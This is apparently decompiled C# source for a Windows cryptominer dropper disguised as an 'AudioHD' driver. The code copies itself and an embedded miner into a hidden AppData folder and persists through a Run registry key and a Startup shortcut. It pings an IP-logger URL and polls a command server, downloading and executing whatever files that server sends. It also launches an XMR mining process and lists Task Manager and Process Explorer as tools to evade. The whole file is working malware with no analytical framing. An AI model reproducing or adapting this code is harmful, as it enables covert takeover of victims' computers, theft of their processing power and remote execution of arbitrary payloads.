1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
| using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using t.Properties;
namespace t
{
internal class Program
{
private static string adm = "http://great.protectad.space/cmd.php";
public static void downloadAndExcecute(string url, string filename)
{
using (WebClient webClient = new WebClient())
{
Console.WriteLine(filename);
FileInfo fileInfo = new FileInfo(filename);
webClient.DownloadFile(url, fileInfo.FullName);
Process.Start(fileInfo.FullName);
}
}
public static string get(string url)
{
try
{
WebRequest webRequest = WebRequest.Create(url);
ICredentials defaultCredentials = CredentialCache.DefaultCredentials;
webRequest.Credentials = defaultCredentials;
((HttpWebRequest) webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
return new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd();
}
catch (Exception ex)
{
return (string) null;
}
}
public static string[] getTasks()
{
char[] chArray1 = new char[1]{ '|' };
string[] strArray1 = Program.get(Program.adm + "?hwid=" + Program.HWID()).Split(chArray1);
string[] strArray2 = new string[strArray1.Length];
int index1 = 0;
foreach (string str1 in strArray1)
{
try
{
char[] chArray2 = new char[1]{ ';' };
string[] strArray3 = str1.Split(chArray2);
int index2 = 0;
string str2 = strArray3[index2].Equals("Update") ? "upd" : "dwl";
int index3 = 1;
string str3 = strArray3[index3];
int index4 = 2;
string str4 = strArray3[index4];
string[] strArray4 = new string[5]
{
str2,
";",
str3,
";",
str4
};
strArray2[index1] = string.Concat(strArray4);
}
catch (Exception ex)
{
}
++index1;
}
return strArray2;
}
public static int getTimeout()
{
return Convert.ToInt32(Program.get(Program.adm + "?timeout=1")) * 60 * 1000;
}
public static string HWID()
{
string str = "";
try
{
ManagementObject managementObject = new ManagementObject("win32_logicaldisk.deviceid=\"" + Environment.GetFolderPath(Environment.SpecialFolder.System).Substring(0, 1) + ":\"");
managementObject.Get();
string index = "VolumeSerialNumber";
str = managementObject[index].ToString();
}
catch (Exception ex)
{
}
return str;
}
private static void Main(string[] args)
{
string pool = "stratum+tcp://xmr.pool.minergate.com:45560";
string logger = "https://iplogger.com/1UvSV6";
Thread thread1 = new Thread(new ThreadStart(new Program.Loader().run));
Thread thread2 = new Thread(new ThreadStart(new Program.Config().run));
thread2.Start();
thread2.Join();
new Thread(new ThreadStart(new Program.Logger(logger).run)).Start();
thread1.Start();
thread1.Join();
new Thread(new ThreadStart(new Program.Processer("weesmokeweed@inbox.ru", pool).run)).Start();
Thread thread3 = new Thread(new ThreadStart(Program.setConnection));
}
private static void restart(string filename)
{
string str1 = Process.GetCurrentProcess().MainModule.FileName.Split('\\')[Process.GetCurrentProcess().MainModule.FileName.Split('\\').Length - 1];
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.Arguments = "/C ping 127.0.0.1 -n 2 && taskmgr && " + filename + " && del " + str1 ?? "";
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
int num = 1;
startInfo.CreateNoWindow = num != 0;
string str2 = "cmd.exe";
startInfo.FileName = str2;
Process.Start(startInfo);
Environment.Exit(0);
}
public static void setConnection()
{
while (true)
{
foreach (string task in Program.getTasks())
{
try
{
char[] chArray1 = new char[1]{ ';' };
string str1 = task.Split(chArray1)[0];
char[] chArray2 = new char[1]{ ';' };
string url = task.Split(chArray2)[1];
char[] chArray3 = new char[1]{ ';' };
string str2 = task.Split(chArray3)[2];
char[] chArray4 = new char[1]{ '/' };
char[] chArray5 = new char[1]{ '/' };
string filename = url.Split(chArray4)[url.Split(chArray5).Length - 1];
if (str1.Equals("upd"))
{
Program.get(Program.adm + "?hwid=" + Program.HWID() + "&completed=" + str2);
Program.update(url, filename);
}
else
{
Program.downloadAndExcecute(url, filename);
Program.get(Program.adm + "?hwid=" + Program.HWID() + "&completed=" + str2);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.StackTrace);
}
}
Thread.Sleep(Program.getTimeout());
}
}
public static void update(string url, string filename)
{
using (WebClient webClient = new WebClient())
{
FileInfo fileInfo = new FileInfo(filename);
webClient.DownloadFile(url, fileInfo.FullName);
}
Program.restart(filename);
}
private class Config
{
private string path = "";
private string currFilename;
public Config()
{
this.currFilename = Process.GetCurrentProcess().MainModule.FileName.Split('\\')[Process.GetCurrentProcess().MainModule.FileName.Split('\\').Length - 1];
}
private void appShortcutToStartup()
{
string str1 = "AudioHD";
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
if (System.IO.File.Exists(folderPath + "\\" + str1 + ".url"))
return;
using (StreamWriter streamWriter = new StreamWriter(folderPath + "\\" + str1 + ".url"))
{
string str2 = this.path + this.currFilename;
streamWriter.WriteLine("[InternetShortcut]");
streamWriter.WriteLine("URL=file:///" + str2);
streamWriter.WriteLine("IconIndex=0");
streamWriter.WriteLine("IconFile=" + Process.GetCurrentProcess().MainModule.FileName + "\\backup (3).ico");
streamWriter.Flush();
}
}
private void createDir()
{
try
{
if (Directory.Exists(this.path))
return;
Directory.CreateDirectory(this.path);
}
catch (Exception ex)
{
}
}
private void createDll(string pth)
{
}
public void move()
{
string path = this.path;
foreach (string file in Directory.GetFiles(Environment.CurrentDirectory, this.currFilename))
{
char[] chArray = new char[1]{ '\\' };
string[] strArray = file.Split(chArray);
string sourceFileName = file;
string destFileName = path + strArray[strArray.Length - 1];
try
{
System.IO.File.Move(sourceFileName, destFileName);
}
catch (Exception ex)
{
}
}
}
public byte[] readBytes(string file2)
{
char[] chArray = new char[1]{ ' ' };
string[] strArray = file2.Split(chArray);
byte[] numArray = new byte[strArray.Length];
for (int index = 0; index < strArray.Length; ++index)
{
try
{
numArray[index] = Convert.ToByte(strArray[index]);
}
catch (Exception ex)
{
}
}
return numArray;
}
private void restart()
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.Arguments = "/C ping 127.0.0.1 -n 2 && \"" + this.path + this.currFilename + "\"";
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
int num = 1;
startInfo.CreateNoWindow = num != 0;
string str = "cmd.exe";
startInfo.FileName = str;
Process.Start(startInfo);
Environment.Exit(0);
}
public void run()
{
this.path = Environment.SystemDirectory.Split('\\')[0] + "\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\AudioHDriver\\";
this.createDir();
this.move();
this.SetStartup();
}
private void SetStartup()
{
try
{
this.appShortcutToStartup();
string str = this.path + this.currFilename;
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("AudioHD", (object) str);
}
catch (Exception ex)
{
}
}
public void WriteBytes(string fileName, byte[] byteArray, string pth)
{
using (FileStream fileStream = new FileStream(pth + fileName, FileMode.Create))
{
for (int index = 0; index < byteArray.Length; ++index)
fileStream.WriteByte(byteArray[index]);
fileStream.Seek(0L, SeekOrigin.Begin);
int index1 = 0;
while ((long) index1 < fileStream.Length && (int) byteArray[index1] == fileStream.ReadByte())
++index1;
}
}
}
private class Loader
{
private static string bytesname = "cfg.txt";
private static string loadUrl = "http://u91613zs.beget.tech/" + Program.Loader.minername;
private static string minername = "AudioHD.exe";
public string cryptV = "1";
private bool is64bit = Program.Loader.Is64Bit();
private string path = "http://u91613zs.beget.tech";
public bool updated = true;
public bool installed;
private void checkInstall()
{
this.installed = System.IO.File.Exists(this.path + "\\" + Program.Loader.minername);
}
public static bool Is64Bit()
{
bool lpSystemInfo;
Program.Loader.IsWow64Process(Process.GetCurrentProcess().Handle, out lpSystemInfo);
return lpSystemInfo;
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWow64Process([In] IntPtr hProcess, out bool lpSystemInfo);
private void load()
{
this.WriteBytes(Program.Loader.minername, Resources.AudioHD);
this.WriteBytes("msvcp140.dll", Resources.msvcp140);
this.WriteBytes("vcruntime140.dll", Resources.vcruntime140);
}
public byte[] readBytes(string file2)
{
char[] chArray = new char[1]{ ' ' };
string[] strArray = file2.Split(chArray);
byte[] numArray = new byte[strArray.Length];
for (int index = 0; index < strArray.Length; ++index)
{
try
{
numArray[index] = Convert.ToByte(strArray[index]);
}
catch (Exception ex)
{
}
}
return numArray;
}
public void run()
{
this.path = Environment.SystemDirectory.Split('\\')[0] + "\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\AudioHDriver\\";
this.checkInstall();
if (this.installed)
return;
try
{
this.load();
}
catch
{
}
Program.Config config = new Program.Config();
}
public void WriteBytes(string fileName, byte[] byteArray)
{
using (FileStream fileStream = new FileStream(this.path + fileName, FileMode.Create))
{
for (int index = 0; index < byteArray.Length; ++index)
fileStream.WriteByte(byteArray[index]);
fileStream.Seek(0L, SeekOrigin.Begin);
int index1 = 0;
while ((long) index1 < fileStream.Length && (int) byteArray[index1] == fileStream.ReadByte())
++index1;
}
}
}
private class Logger
{
private string url = "https://iplogger.com/1UvSV6";
public Logger(string logger)
{
this.url = logger;
}
private void connect()
{
try
{
WebRequest webRequest = WebRequest.Create(this.url);
ICredentials defaultCredentials = CredentialCache.DefaultCredentials;
webRequest.Credentials = defaultCredentials;
((HttpWebRequest) webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd();
}
catch (Exception ex)
{
}
}
public void run()
{
this.connect();
}
}
private class Processer
{
private static string[] forbidden = new string[5]
{
"Taskmgr",
"ProcessHacker",
"taskmgr",
"procexp",
"procexp64"
};
private static int kernels = 0;
private static string path = "";
private static string processName = "AudioHD";
private string pool = "";
private string username = "";
public bool isRunning;
public Processer(string u, string pool)
{
this.pool = pool;
this.username = u;
Program.Processer.kernels = Environment.ProcessorCount / 2;
Program.Processer.path = Environment.SystemDirectory.Split('\\')[0] + "\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\AudioHDriver\\";
}
private bool checkProcess(string name)
{
foreach (Process process in Process.GetProcesses())
{
if (process.ProcessName.Contains(name))
return true;
}
return false;
}
public void run()
{
}
private void runProcess(string name)
{
Process process = new Process()
{
StartInfo = {
FileName = Program.Processer.path + name + ".exe",
WindowStyle = ProcessWindowStyle.Hidden
}
};
object[] objArray = new object[6]
{
(object) "-o ",
(object) this.pool,
(object) " -u ",
(object) this.username,
(object) " -p x -k -v=0 --donate-level=1 -t ",
(object) Program.Processer.kernels
};
process.StartInfo.Arguments = string.Concat(objArray);
process.Start();
this.isRunning = true;
}
public void stopProcess()
{
Process.GetProcessesByName(Program.Processer.processName)[0].Kill();
this.isRunning = false;
}
}
}
} |